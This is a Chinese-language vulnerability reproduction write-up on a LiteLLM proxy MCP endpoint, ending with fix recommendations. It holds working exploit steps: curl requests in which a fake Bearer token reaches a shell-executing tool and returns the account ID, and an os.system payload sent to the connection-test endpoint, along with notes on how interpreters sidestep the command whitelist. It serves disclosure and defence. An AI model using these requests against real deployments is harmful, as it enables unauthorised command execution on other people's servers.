1. 实验环境

Linux 6.19.11+kali-amd64 x86_64
PRETTY_NAME="Kali GNU/Linux Rolling"
Python 3.13.18
fastapi                   0.124.4
fastapi-sso               0.16.0
litellm                   1.83.6
litellm-enterprise        0.1.37
litellm-proxy-extras      0.4.65
mcp                       1.26.0
prisma                    0.15.0
sse-starlette             3.7.0
starlette                 0.50.0
uvicorn                   0.33.0

Python 3.13.18,litellm 1.83.6,其中 MCP 部分依赖 mcp 1.26.0,HTTP 层是 fastapi 0.124.4 + starlette 0.50.0 + uvicorn 0.33.0,数据库访问走 prisma 0.15.0。

拓扑很简单,一个代理进程加一个由它拉起来的子进程:

子进程不是网络服务,只跟父进程通过标准输入输出说话。这一点决定了后面所有关于 MCP 的观察都在同一个进程树里发生。

版本先确认清楚,顺手把后面每条 curl 都要用的三个变量存进 shell:

API=http://127.0.0.1:4000/demo_stdio/mcp; CT='Content-Type: application/json'; AC='Accept: application/json, text/event-stream'; echo "API=$API"; /tmp/lv13/bin/pip show litellm | head -2

API 是请求地址,CT 是 Content-Type,AC 是 Accept。

Accept: application/json, text/event-stream 这个头不能省。MCP 的 Streamable HTTP 传输要求客户端同时接受 JSON 和事件流,只给 application/json 会被服务端拒掉,而拒绝的理由跟认证毫无关系,看报错很容易误以为是凭证问题。

2. 实验构成

实验就三类:代理配置 config.yaml、自己写的 MCP 服务器 demo_mcp.py、五份 JSON-RPC 请求体。关系如下:

先看配置:

config.yaml

     1	model_list:
     2	  - model_name: gpt-4o-mini
     3	    litellm_params:
     4	      model: openai/gpt-4o-mini
     5	      api_key: sk-placeholder-not-used
     6	
     7	mcp_servers:
     8	  demo_stdio:
     9	    transport: stdio
    10	    command: /tmp/lv13/bin/python3
    11	    args:
    12	      - /tmp/lab2/demo_mcp.py
    13	    description: demo stdio mcp server
    14	    allow_all_keys: true
    15	
    16	general_settings:
    17	  master_key: sk-litellm-master-0001
    18	  database_url: postgresql://llmuser:llmpass@127.0.0.1:5432/litellm

几处关键项:

  • mcp_servers 下面登记了一个叫 demo_stdio 的服务器,这个名字直接决定了对外路径 /demo_stdio/mcp。

  • transport: stdio 说明它不是网络服务,而是代理启动的子进程,靠标准输入输出通信。command 和 args 就是子进程的启动命令。

  • allow_all_keys: true 管的是哪些调用方令牌能用这个服务器。

  • general_settings.master_key 是管理员密钥,在 LiteLLM 里等同内置管理员,不需要数据库也能用。

  • general_settings.database_url 指向本机 Postgres,用来存虚拟密钥。(后面会把这一行删掉,看看没库的时候校验链怎么坏。)

demo_mcp.py

     1	import subprocess
     2	from mcp.server.fastmcp import FastMCP
     3	
     4	mcp = FastMCP("demo")
     5	
     6	
     7	@mcp.tool()
     8	def add(a: int, b: int) -> int:
     9	    """Add two integers."""
    10	    return a + b
    11	
    12	
    13	@mcp.tool()
    14	def whoami() -> str:
    15	    """Return the account the MCP server runs as."""
    16	    import getpass
    17	    return getpass.getuser()
    18	
    19	
    20	@mcp.tool()
    21	def run_cmd(cmd: str) -> str:
    22	    """Run a shell command and return its output."""
    23	    return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
    24	
    25	
    26	if __name__ == "__main__":
    27	    mcp.run()

服务器 27 行,三个工具:add 做加法,whoami 返回运行账号,run_cmd 收一个字符串然后用 shell=True 执行。把命令执行包成工具,在真实项目里确实存在,这里这么写不是要讨论它本身安不安全,而是为了让"谁调用了这个工具"变得可见——调用成功就能拿到 42、账号名和本机命令回显,比任何日志都直观。

五份请求体分别对应握手、列工具、调 add、调 run_cmd、调 whoami:

cat -n /tmp/lab2/p_init.json /tmp/lab2/p_tools.json
cat -n /tmp/lab2/p_call.json /tmp/lab2/p_rce.json /tmp/lab2/p_who.json

3. 启动 4000

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config.yaml --port 4000 > /tmp/lab2/proxy.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4000; curl -s -o /dev/null -w 'HEALTH=%{http_code}\n' http://127.0.0.1:4000/health/liveliness

各段在干什么:

  • setsid 让代理脱离当前终端会话,关掉终端不影响进程。

  • > /tmp/lab2/proxy.log 2>&1 把标准输出和标准错误都写进日志,后面读堆栈全靠它。

  • < /dev/null 断开标准输入。stdio 服务会读标准输入,留着终端输入流会跟最前面几个请求互相干扰。

  • sleep 25 是等启动。LiteLLM 首次启动要初始化数据库组件、还要下载 Prisma 引擎,十几秒是常态,等短了只会拿到"连接被拒"这种假故障。

  • ss -lntp | grep 4000 看端口有没有在听,/health/liveliness 返回 200 看业务有没有就绪。两个都得看,端口在听不等于服务能用。

回显里的 [1] + done 是 shell 汇报后台任务结束,这一行里 > 2> 后面被终端截短了,/tmp/lab2/proxy.log 和 2>&1 < /dev/null 都在命令里,只是回显没打全。setsid 已经把进程交给 init 了,父 shell 的任务表自然显示结束,而下面 ss 的监听记录里 pid=2885694 说明进程活得好好的。这两件事同时出现很正常,别把它当成进程崩了。

4. 管理员密钥基线

在说缺陷之前,得先证明正常路径是通的,不然后面任何异常都没法归因。

curl -s -i -X POST http://127.0.0.1:4000/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/p_call.json

2 + 40 = 42,isError: false。管理员密钥能正常调工具,配置、路径、工具名前缀、请求格式全都没问题。这一步定了性:后面出现的 200 或者 500,都是认证逻辑自己的事,不是环境没搭好。

5. 无凭证:返回 500 而不是 401

第一次觉得不对劲,是在不带任何凭证的时候。按理说没令牌就该是 401,实际回的是 500。

API=http://127.0.0.1:4000/demo_stdio/mcp; curl -s -i -X POST $API -H "$CT" -H "$AC" -d @p_init.json

响应体只有一句 MCP request failed,details 是空的。认证环节抛的异常压根没被翻译成 401,一路冒泡到 MCP 请求处理层,被最外层统一兜成了 500。

再试一次,这回把 key 头写上,名字对、值不对:

API=http://127.0.0.1:4000/demo_stdio/mcp; curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'x-litellm-api-key: sk-not-a-real-key' -d @p_init.json

两种情况的对外表现完全一样:缺凭证和凭证错,都是 500 加空 details。站在攻击者角度这只是噪声,换个方式再试就是了。

6. 假 Bearer:从握手到命令执行

换一个根本不存在的令牌试试:Authorization: Bearer fake-token-abc。

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_init.json

200,握手成功,协议版本和服务信息都回来了。继续列工具:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_tools.json

三个工具全在,包括 run_cmd。

调 add:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_call.json

42,isError: false。假令牌不止能握手,工具也能调。

接着调 run_cmd,参数用 id,想确认命令到底执行没有、以什么身份执行:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_rce.json

uid=1000(nl),这个账号还在 sudo 组里。命令是以 MCP 子进程的运行身份执行的。从网关外面看,一个不含任何有效凭证的请求,拿到了命令执行结果。

再补一发 whoami,把执行身份固定下来:

curl -s -i -X POST $API -H "$CT" -H "$AC" -H 'Authorization: Bearer fake-token-abc' -d @p_who.json

整个链条串起来是这样:

五个请求,五次 200。缺陷的第一种形态成立:一个格式正确但根本不存在的 Bearer 令牌,被当成了合法调用方。

7. 对照一:关闭 allow_all_keys

最直接的假设是 allow_all_keys: true 太宽松了。那就关掉,重建配置。顺便再存一份同时移除 database_url 的,留给第 8 章。

sed 's/allow_all_keys: true/allow_all_keys: false/' /tmp/lab2/config.yaml > /tmp/lab2/config_false.yaml; grep -v 'database_url' /tmp/lab2/config.yaml > /tmp/lab2/config_nodb.yaml; grep -n 'allow_all_keys\|database_url' /tmp/lab2/config.yaml /tmp/lab2/config_false.yaml /tmp/lab2/config_nodb.yaml

末尾那条 grep 把三份文件的关键配置一起打了出来:config_false.yaml 第 14 行已经是 false,其余照旧;config_nodb.yaml 第 14 行仍然是 true,database_url 整行不见了。

三份配置的分叉就是一次改动:

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config_false.yaml --port 4001 > /tmp/lab2/proxy4001.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4001; curl -s -o /dev/null -w 'HEALTH4001=%{http_code}\n' http://127.0.0.1:4001/health/liveliness

4001 起来了。同一个假令牌,先握手:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_init.json

还是 200。再列工具:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_tools.json

状态码 200,工具列表是空的。不是 401,不是 403,也不是错误响应,就是一个合法的"这个服务器没有工具"。继续调:

curl -s -i -X POST http://127.0.0.1:4001/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_call.json

调用被拒了,isError: true 加 User not allowed to call this tool.,HTTP 状态码照样是 200。

这组结果指向两套机制的分离:认证回答"你是谁",授权回答"你能做什么"。关掉 allow_all_keys 只让后者生效——握手依旧成功,假令牌仍然被当成一个有效的、只是没什么权限的调用方接受,前面那步压根没发生。只按状态码做监控的话,这三发请求都会被记成成功。

8. 对照二:移除 database_url

第三种配置:allow_all_keys: true 留着,database_url 删掉,换配置把 4002 起起来。

setsid /tmp/lv13/bin/litellm --config /tmp/lab2/config_nodb.yaml --port 4002 > /tmp/lab2/proxy4002.log 2>&1 < /dev/null & sleep 25; ss -lntp | grep 4002; curl -s -o /dev/null -w 'HEALTH4002=%{http_code}\n' http://127.0.0.1:4002/health/liveliness

四发请求依次是握手、列工具、命令执行,外加一次不带任何凭证的握手:

curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_init.json
curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_tools.json
curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/p_rce.json
curl -s -i -X POST http://127.0.0.1:4002/demo_stdio/mcp -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -d @/tmp/lab2/p_init.json

四条全是 500。4000 和 4001 的配置里都有 database_url,4002 一点没有,差异只能从日志里读:

grep -nE 'in (handle_streamable_http_mcp|extract_mcp_auth_context|process_mcp_request|user_api_key_auth|_user_api_key_auth_builder|_handle_authentication_error)' /tmp/lab2/proxy4002.log | head -7

日志里同一次 500 会打两遍 traceback,一条来自认证函数、一条来自 MCP 处理层,所以同一个函数会在不同位置各出现一次,行号是最左那列的日志行号。再看时间线:

grep -n 'ERROR' /tmp/lab2/proxy4002.log | head -8

堆栈里能读出三件事。

  • 一是调用链。日志里这几帧分成两段:MCP 这侧是 server.py:2580 handle_streamable_http_mcp 调进 server.py:2402 extract_mcp_auth_context,再调 user_api_key_auth_mcp.py:133 process_mcp_request;认证这侧是 user_api_key_auth.py:1598 user_api_key_auth 调进 :1561 _user_api_key_auth_builder,最后由 auth_exception_handler.py:119 _handle_authentication_error 重新抛出。MCP 请求进来后认证确实被调了,问题出在调用结果怎么处理。

  • 再看异常类型。第 1173 行抛的是 ProxyException,跟本章末尾贴出的 raise ProxyException(message="No connected db.", ...) 是同一处。没有数据库的时候,管理员密钥之外的令牌都会走到这里。

  • 还有一行容易被漏掉:Malformed API Key passed in.,后面那句是在要求 key 必须带 Bearer 前缀。它对应 11:46:47 那发不带 Authorization 头的请求(响应头里是 date: 03:46:47 GMT,GMT 跟靶机本地时间差 8 小时)。解析阶段就假定一定存在 Bearer,缺这个头的时候不是走"未认证"分支,而是在解析时直接抛异常。

4000 和 4001 为什么没出现这种 500,得分两步看。4002 没数据库,认证函数对这条假令牌只能抛 ProxyException(code=400);而第 9 章那段源码的捕获条件只认 401 和 403,400 不在里面,异常被重新抛出,最终变成 500。4000 和 4001 都留着 database_url,库能连上,同一个假令牌走的是另一条失败路径:查库没这个令牌,认证失败。这类失败不在 no_db_connection 分支里,也不会被包装成 code=400。如果它同样是 code=400,结果必然和 4002 一样,可实测拿到的是 200,说明它属于能被 try/except 抓住的那一类,随后被当成上游 OAuth2 令牌放行。

一头 4002 全 500,一头 4000 全 200,配置上唯一的功能差异就是数据库在不在。

ProxyException 的返回码值得单独拿出来看。它自己标着 code=400(第 1173 行写死的),客户端收到的却是 500,中间一次异常转换把状态码弄丢了:

sed -n '1155,1185p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/auth/user_api_key_auth.py

prisma_client is None 时,管理员密钥之外的令牌一律被拒,理由 No connected db.,标称 code=400。往深一层看,fail closed 的意图没错——没库就验不了令牌,就该拒——但这个拒绝在 MCP 通道上没被翻译成 400 或者 401,而是以 500 收场。

9. 源码定位:四个分支

三组现象对应的是同一段代码,分叉点在 user_api_key_auth_mcp.py 的 process_mcp_request:

sed -n '120,175p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py

            validated_user_api_key_auth = UserAPIKeyAuth()
        elif has_explicit_litellm_key:
            # Explicit x-litellm-api-key provided - always validate normally
            validated_user_api_key_auth = await user_api_key_auth(
                api_key=litellm_api_key, request=request
            )
        elif oauth2_headers:
            # No x-litellm-api-key, but Authorization header present.
            # Could be a LiteLLM key (backward compat) OR an OAuth2 token
            # from an upstream MCP provider (e.g. Atlassian).
            # Try LiteLLM auth first; on auth failure, treat as OAuth2 passthrough.
            try:
                validated_user_api_key_auth = await user_api_key_auth(
                    api_key=litellm_api_key, request=request
                )
            except HTTPException as e:
                if e.status_code in (401, 403):
                    verbose_logger.debug(
                        "MCP OAuth2: Authorization header is not a valid LiteLLM key, "
                        "treating as OAuth2 token passthrough"
                    )
                    validated_user_api_key_auth = UserAPIKeyAuth()
                else:
                    raise
            except ProxyException as e:
                if str(e.code) in ("401", "403"):
                    verbose_logger.debug(
                        "MCP OAuth2: Authorization header is not a valid LiteLLM key, "
                        "treating as OAuth2 token passthrough"
                    )
                    validated_user_api_key_auth = UserAPIKeyAuth()
                else:
                    raise
        else:
            validated_user_api_key_auth = await user_api_key_auth(
                api_key=litellm_api_key, request=request
            )

        return (
            validated_user_api_key_auth,
            mcp_auth_header,
            mcp_servers,
            mcp_server_auth_headers,
            oauth2_headers,
            dict(headers),
        )

命令取的是第 120 到 175 行。末尾那些 return 把变量交回调用方,紧跟其后的 @staticmethod 是 _get_mcp_auth_header_from_headers 的定义,跟这个议题没关系。

这段代码有四个出口,走向各不相同:

前三个出口对应公开路由、x-litellm-api-key 那条路(第 5 章第二发请求,sk-not-a-real-key)和只有 Bearer 的那条路(第 6 章五个请求全部 200);最后一个出口对应第 5 章第一发和第 8 章第四发,那两发都没带任何凭证头。

真正决定结果的是第二个 elif,判断的是变量 oauth2_headers:请求带 Authorization 又不带 x-litellm-api-key 时,会被当成"可能是上游 OAuth2 提供方的令牌",进那段 try/except。初衷是兼容性——MCP 允许把上游服务的令牌透传给下游,网关没法预先分辨一个 Bearer 值到底是自己的虚拟密钥还是上游 OAuth2 令牌。于是策略变成了"先按自己的密钥验一遍,验不过就当上游令牌放过"。

问题出在两处。"验证失败"的判定被写死成 401 和 403 两个码;失败之后构造的是一个完整的空认证对象 UserAPIKeyAuth()。空对象在后续逻辑里不表示"未认证",它表示"已认证,但什么权限属性都没有"。于是:

  • 4000(allow_all_keys: true)不需要额外权限,空对象的请求被放行,工具直接能调,就是第 6 章那五个 200。

  • 4001(allow_all_keys: false)调工具需要权限,空对象没有,工具列表为空、调用被拒,而握手这类不需要权限的动作照样 200。

这解释了一个很容易误判的现象:把 allow_all_keys 改成 false 看着像修好了,其实只堵住工具调用层,认证层照样敞开。真要限制某个 MCP 服务器只给特定调用方用,配置里必须给出额外授权,可认证和授权混在同一处判断里,很容易在"给某类调用方开权限"的同时,把"不校验身份"一起带进来。

4002 全拒也是这段代码定的:没数据库时 user_api_key_auth 对任何非管理员令牌都抛 ProxyException(code=400)。ProxyException 在捕获列表里,但判定条件是 str(e.code) in ("401", "403"),400 不在其中,于是一个 raise 重新抛出,异常继续上浮成 500。三个端口的行为差异,说到底就是这一处判断跟 allow_all_keys 的组合。

10. REST 通道:/mcp-rest/test/connection 的命令执行

除了 MCP 数据通道,LiteLLM 还暴露一批 REST 管理接口,其中 /mcp-rest/test/connection 用于"添加 MCP 服务器之前先测一下连不连得上"。它的鉴权方式跟 MCP 通道不是一回事,同一套认证代码在另一个入口上的表现值得单独看。

请求体就是要代理启动的 stdio 服务器描述。先构造 payload:command 填 python3,args 用 -c 执行一段把 id 写进文件的代码。

echo '{"server_name": "pwn", "transport": "stdio", "command": "python3", "args": ["-c", "import os; os.system(\"id > /tmp/lab2/pwn.txt\")"]}' > /tmp/lab2/tc_py.json; cat /tmp/lab2/tc_py.json

先拿假令牌试:

curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer fake-token-abc' -d @/tmp/lab2/tc_py.json

401,错误信息很明确,要求以 sk- 开头的虚拟密钥,还对收到的值做了掩码(fake****-abc)。同一份代码、同一个假令牌,REST 入口给 401,MCP 入口给 200。差别不在认证函数本身,而在 MCP 入口那层 try/except 把失败吞了。

再换管理员密钥:

rm -f /tmp/lab2/pwn.txt; curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/tc_py.json; echo '--- pwn.txt ---'; cat /tmp/lab2/pwn.txt

这段的含义特别容易被读反:

  • 响应是 status: error、Failed to connect to MCP server,只看响应体会以为命令根本没跑。

  • 可 cat 出来的 pwn.txt 里已经有 uid=1000(nl) 了。文件就是这次请求过程中建的,子进程确实起来了,并且执行了命令。

  • 两件事同时成立:子进程启动、执行 python3 -c、把 id 结果写进文件;之后代理要通过 MCP 协议跟这个子进程握手,而这个进程执行完就退出、压根不实现 MCP 协议,握手必然失败。连接测试报失败,目标命令已经完成。

危险的地方就在于这个接口把"启动进程"和"验证连接"合成一个动作,而进程一启动,命令就已经执行了。能调这个接口的人等于拿到一次任意命令执行机会,不需要任何 MCP 服务器配合,也不需要连接成功。_execute_with_mcp_client 就是按请求体里的 command 和 args 创建子进程、再尝试建 MCP 会话的那个函数。

这个接口的鉴权要求得看实现。先定位入口在哪一行:

grep -n 'test/connection' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/rest_endpoints.py | head -3

第 1021 行就是注册入口,往下看它的依赖与角色校验:

sed -n '1021,1050p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_experimental/mcp_server/rest_endpoints.py
    @router.post("/test/connection", dependencies=[Depends(user_api_key_auth)])
    async def test_connection(
        request: Request,
        new_mcp_server_request: NewMCPServerRequest,
        user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth),
    ):
        """
        Test if we can connect to the provided MCP server before adding it
        """
        if LitellmUserRoles.PROXY_ADMIN != user_api_key_dict.user_role:
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail={
                    "error": "User does not have permission to test MCP server connections. Only PROXY_ADMIN users can perform this action."
                },
            )

        async def _test_connection_operation(client):
            async def _noop(session):
                return "ok"

            await client.run_with_session(_noop)
            return {"status": "ok"}

        return await _execute_with_mcp_client(
            new_mcp_server_request,
            _test_connection_operation,
            raw_headers=_safe_get_request_headers(request),
        )

控制比 MCP 通道严谨得多:先靠 user_api_key_auth 认证,再显式要求角色为 PROXY_ADMIN,否则 403。所以这里请求成功的前提是手里有管理员密钥,不是绕过认证。这两件事得分清楚——第 6 章那个假令牌通过属于认证缺陷,这一节的命令执行属于管理员权限下的功能被滥用。

11. 白名单:basename 校验的边界

同一个接口换第二个 payload:command 直接写 /bin/bash,args 用 -c 做同样的 id 重定向。

echo '{"server_name": "pwn", "transport": "stdio", "command": "/bin/bash", "args": ["-c", "id > /tmp/lab2/pwn.txt"]}' > /tmp/lab2/tc_bash.json; cat /tmp/lab2/tc_bash.json
curl -s -i -X POST http://127.0.0.1:4000/mcp-rest/test/connection -H "$CT" -H 'Authorization: Bearer sk-litellm-master-0001' -d @/tmp/lab2/tc_bash.json

422,理由是 '/bin/bash' is not in the allowed commands list,允许的是 deno、docker、node、npx、python、python3、uvx 七个。

名单里有 python3,而 python 能执行任意系统命令是常识(os.system、subprocess)。这份白名单到底能约束什么,得看实现:

sed -n '1168,1190p' /tmp/lv13/lib/python3.13/site-packages/litellm/proxy/_types.py

实现本身没写错,注释也标了目的是 prevent arbitrary execution。但它只比较 os.path.basename(command) 在不在集合里,压根不看 args 装了什么:

白名单只挡住了把 shell 直接写进 command 这一种形式,换成任何能执行代码的解释器就失效了。集合里的 docker、node、deno、uvx 都能达到同样效果。问题不在某个具体参数,而在"用命令名白名单来实现命令执行防护"这个思路本身的局限:命令名描述的是入口程序,不描述它被要求干什么。

12. 修复建议

按改动成本从低到高排,前三条针对这次复现到的具体缺陷,后四条针对设计层面。

  1. 认证失败时不要构造空认证对象。process_mcp_request 的 except 分支应该保留失败状态,或者抛一个专门的未授权异常,由上游统一转成 401,而不是把 UserAPIKeyAuth() 当成通过凭证继续往下走。

  1. OAuth2 透传要显式开关。判断"这个 Bearer 是上游令牌"不能依赖"先验一遍、失败就算上游",应该基于配置项或者专用请求头(例如 x-mcp-upstream-auth),否则随便伪造一个值都能落进透传分支。

  1. ProxyException 的捕获条件不能只看 401/403。str(e.code) in ("401", "403") 让 code=400 的 no_db_connection 漏出了捕获范围,最后变成 500。应该把这类异常统一映射到 4xx,或者在 MCP 处理层加一层兜底转换,把 ProxyErrorTypes 翻译成对应的 HTTP 状态码。

  1. 认证失败和"没有数据库"在响应上要能区分。现在一律 MCP request failed 加空 details,运维分不清是配置问题还是凭证问题。至少让 details 带上 ProxyErrorTypes 的值,或者在日志里用固定关键字标注,方便告警规则命中。

  1. 命令名白名单不能当作命令执行防护。如果目标是限制 stdio 服务器的能力,应该改成容器化运行(限定镜像、只读文件系统、去掉网络、非 root、挂载白名单),或者在子进程层限制系统调用。非留白名单不可的话,得承认 python、node、docker、uvx 的存在已经等同于"允许执行任意代码",文档和告警里就不要再写成"防止任意命令执行"。

  1. /mcp-rest/test/connection 和"添加 MCP 服务器"应该分开。连接测试不该真的启动目标进程,至少加二次确认、超时强杀,以及"测试模式只允许内置 echo 服务器"这类限制。现在这个实现里进程启动就等于命令执行,测试接口实际成了执行入口。

  1. 对外暴露的 MCP 通道路径应该收口。实验里 demo_stdio 这个名字直接成了外部可访问的 /demo_stdio/mcp,.well-known 路径还跳过认证。生产环境建议在网关前面再加一层统一鉴权,别只靠应用层这一道判断。